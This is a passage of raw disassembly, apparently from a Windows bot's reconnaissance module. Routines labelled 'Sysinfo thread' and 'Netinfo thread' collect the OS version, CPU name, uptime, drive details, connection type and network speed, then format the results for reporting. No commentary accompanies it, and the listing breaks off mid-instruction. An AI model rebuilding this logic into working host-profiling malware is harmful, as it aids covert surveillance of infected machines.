sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call dword_417034 neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call dword_417034 neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx lea eax, [ebp+var_734] push eax call dword_4170C4 mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call dword_417018 lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call dword_417078 mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call dword_417030 mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call dword_417008 test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call dword_41700C test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call dword_417028 loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DF10 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DF10 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DF10 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE add esp, 54h lea eax, [ebp+var_408] push eax push offset dword_418B64 lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset dword_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset dword_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv flt_417270 fdivr [ebp+var_430] call sub_416CF8 mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push offset dword_41F028 lea eax, [ebp+var_414] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41F028 call dword_41DF64 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call dword_41DF68 ; getnameinfo push [ebp+var_824] call dword_41DF6C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; strcpy pop ecx pop ecx push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; strcpy pop ecx pop ecx cmp dword_41DF5C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call dword_41DF5C ; InternetGetConnectedStateExA test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DF10 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DF10 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DF10 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE add esp, 48h lea eax, [ebp+var_814] push eax push offset dword_418B64 lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call dword_4170CC mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call dword_4170C8 jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr [ebp+var_1C] add al, 1 mov byte ptr [ebp+var_1C], al movsx eax, byte ptr [ebp+var_1C] cmp eax, 5Ah jnz loc_408EA4 mov eax, [ebp+var_C] leave retn sub_408E8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408F2E proc near ; DATA XREF: sub_4091E2+35o var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = byte ptr -5D0h var_42C = dword ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = byte ptr -420h var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_404 = byte ptr -404h var_3EF = byte ptr -3EFh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5DCh push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5D4] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push 5 pop ecx mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_404] rep movsd movsb mov ecx, 0FAh xor eax, eax lea edi, [ebp+var_3EF] rep stosd stosw stosb mov eax, dword_419398 mov [ebp+var_424], eax and [ebp+var_418], 0 and [ebp+var_5D8], 0 and [ebp+var_414], 0 mov [ebp+var_410], 1 loc_408FA6: ; CODE XREF: sub_408F2E+23Bj lea eax, [ebp+var_424] push eax call dword_4170CC mov [ebp+var_5DC], eax cmp [ebp+var_5DC], 0 jz loc_409151 cmp [ebp+var_5DC], 1 jz loc_409151 cmp [ebp+var_5DC], 2 jnz short loc_408FE5 mov [ebp+var_4], offset aRemovable ; "removable" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FE5: ; CODE XREF: sub_408F2E+ACj cmp [ebp+var_5DC], 3 jnz short loc_408FF7 mov [ebp+var_4], offset aFixed ; "fixed" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_408FF7: ; CODE XREF: sub_408F2E+BEj cmp [ebp+var_5DC], 4 jnz short loc_409009 mov [ebp+var_4], offset aRemote ; "remote" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_409009: ; CODE XREF: sub_408F2E+D0j cmp [ebp+var_5DC], 5 jnz short loc_40901B mov [ebp+var_4], offset aCdRom ; "cd-rom" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40901B: ; CODE XREF: sub_408F2E+E2j cmp [ebp+var_5DC], 6 jnz short loc_40902D mov [ebp+var_4], offset aRamdisk ; "ramdisk" jmp short loc_409034 ; --------------------------------------------------------------------------- loc_40902D: ; CODE XREF: sub_408F2E+F4j mov [ebp+var_4], offset aUnknown ; "unknown" loc_409034: ; CODE XREF: sub_408F2E+B5j ; sub_408F2E+C7j ... cmp [ebp+var_5DC], 5 jz short loc_40906A cmp [ebp+var_5DC], 2 jz short loc_40906A lea eax, [ebp+var_42C] push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_40C] push eax lea eax, [ebp+var_424] push eax call dword_4170C8 jmp short loc_40907D ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_408F2E+10Dj ; sub_408F2E+116j push 8 push 0 lea eax, [ebp+var_42C] push eax call sub_416B6A add esp, 0Ch loc_40907D: ; CODE XREF: sub_408F2E+13Aj push 0 push 100000h push [ebp+var_428] push [ebp+var_42C] call sub_416C90 mov [ebp+var_42C], eax mov [ebp+var_428], edx cmp [ebp+var_410], 0 jnz short loc_4090BF push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 pop ecx pop ecx jmp short loc_4090C6 ; --------------------------------------------------------------------------- loc_4090BF: ; CODE XREF: sub_408F2E+17Aj and [ebp+var_410], 0 loc_4090C6: ; CODE XREF: sub_408F2E+18Fj mov eax, [ebp+var_42C] or eax, [ebp+var_428] test eax, eax jz short loc_40910A push [ebp+var_428] push [ebp+var_42C] push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193E4 lea eax, [ebp+var_404] push eax call dword_4171E0 add esp, 1Ch jmp short loc_409130 ; --------------------------------------------------------------------------- loc_40910A: ; CODE XREF: sub_408F2E+1A6j push [ebp+var_4] lea eax, [ebp+var_424] push eax lea eax, [ebp+var_404] push eax push offset dword_4193D4 lea eax, [ebp+var_404] push eax call dword_4171E0 add esp, 14h loc_409130: ; CODE XREF: sub_408F2E+1DAj mov eax, [ebp+var_42C] mov ecx, [ebp+var_414] add ecx, eax mov [ebp+var_414], ecx mov eax, [ebp+var_5D8] inc eax mov [ebp+var_5D8], eax loc_409151: ; CODE XREF: sub_408F2E+92j ; sub_408F2E+9Fj mov al, byte ptr [ebp+var_424] add al, 1 mov byte ptr [ebp+var_424], al movsx eax, byte ptr [ebp+var_424] cmp eax, 5Ah jnz loc_408FA6 cmp [ebp+var_5D8], 0 jz short loc_40918B push offset dword_419404 lea eax, [ebp+var_404] push eax call sub_416B70 pop ecx pop ecx loc_40918B: ; CODE XREF: sub_408F2E+248j push [ebp+var_414] push 